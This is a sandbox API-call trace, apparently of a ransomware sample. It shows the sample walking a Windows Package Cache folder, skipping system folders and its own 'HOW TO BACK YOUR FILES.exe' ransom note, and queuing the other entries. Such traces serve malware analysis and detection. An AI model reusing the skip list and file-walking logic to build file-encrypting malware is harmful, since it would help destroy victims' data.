	[0063.079] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.079] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.079] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.079] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.079] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="Apollon865.txt.exe") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2=".") returned 1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="..") returned 1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="windows") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="bootmgr") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="temp") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="pagefile.sys") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="boot") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ids.txt") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ntuser.dat") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="perflogs") returned -1
	[0063.079] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="MSBuild") returned -1
	[0063.079] lstrlenW (lpString="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 40
	[0063.079] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\*") returned 34
	[0063.079] lstrcpyW (in: lpString1=0x119e64a, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0063.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0063.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5c8f30
	[0063.079] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0063.079] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1
	[0063.079] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="Apollon865.txt.exe") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2=".") returned 1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="..") returned 1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="windows") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="bootmgr") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="temp") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="pagefile.sys") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="boot") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ids.txt") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ntuser.dat") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="perflogs") returned -1
	[0063.080] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="MSBuild") returned -1
	[0063.080] lstrlenW (lpString="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 40
	[0063.080] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73
	[0063.080] lstrcpyW (in: lpString1=0x119e64a, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0063.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0063.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0063.080] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0063.080] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f3650f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.080] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.080] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="windows") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="bootmgr") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="temp") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="boot") returned -1
	[0063.080] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ids.txt") returned -1
	[0063.081] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0063.081] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="perflogs") returned -1
	[0063.081] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="MSBuild") returned -1
	[0063.081] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49
	[0063.081] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73
	[0063.081] lstrcpyW (in: lpString1=0x119e64a, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0063.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0063.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5994f0
	[0063.081] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0063.081] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="Apollon865.txt.exe") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="windows") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="bootmgr") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="temp") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="pagefile.sys") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="boot") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ids.txt") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ntuser.dat") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="perflogs") returned -1
	[0063.081] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="MSBuild") returned -1
	[0063.081] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38
	[0063.081] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82
	[0063.081] lstrcpyW (in: lpString1=0x119e64a, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0063.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0063.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5995a0
	[0063.081] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0063.081] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0063.081] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="windows") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="bootmgr") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="temp") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="boot") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ids.txt") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="perflogs") returned -1
	[0063.082] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="MSBuild") returned -1
	[0063.082] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49
	[0063.082] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71
	[0063.082] lstrcpyW (in: lpString1=0x119e64a, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0063.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0063.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5afa60
	[0063.082] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0063.082] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="Apollon865.txt.exe") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="windows") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="bootmgr") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="temp") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="pagefile.sys") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="boot") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ids.txt") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ntuser.dat") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="perflogs") returned -1
	[0063.082] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="MSBuild") returned -1
	[0063.083] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38
	[0063.083] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82
	[0063.083] lstrcpyW (in: lpString1=0x119e64a, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0063.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0063.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5afb10
	[0063.083] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0063.083] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="windows") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="bootmgr") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="temp") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="boot") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ids.txt") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="perflogs") returned -1
	[0063.083] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="MSBuild") returned -1
	[0063.083] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50
	[0063.083] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71
	[0063.083] lstrcpyW (in: lpString1=0x119e64a, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0063.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0063.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5afba8
	[0063.083] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0063.083] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0063.083] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.083] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0063.083] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1
	[0063.083] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="windows") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="bootmgr") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="temp") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="boot") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ids.txt") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="perflogs") returned -1
	[0063.084] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="MSBuild") returned -1
	[0063.084] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50
	[0063.084] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83
	[0063.084] lstrcpyW (in: lpString1=0x119e64a, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0063.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0063.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5b58d8
	[0063.084] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0063.084] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
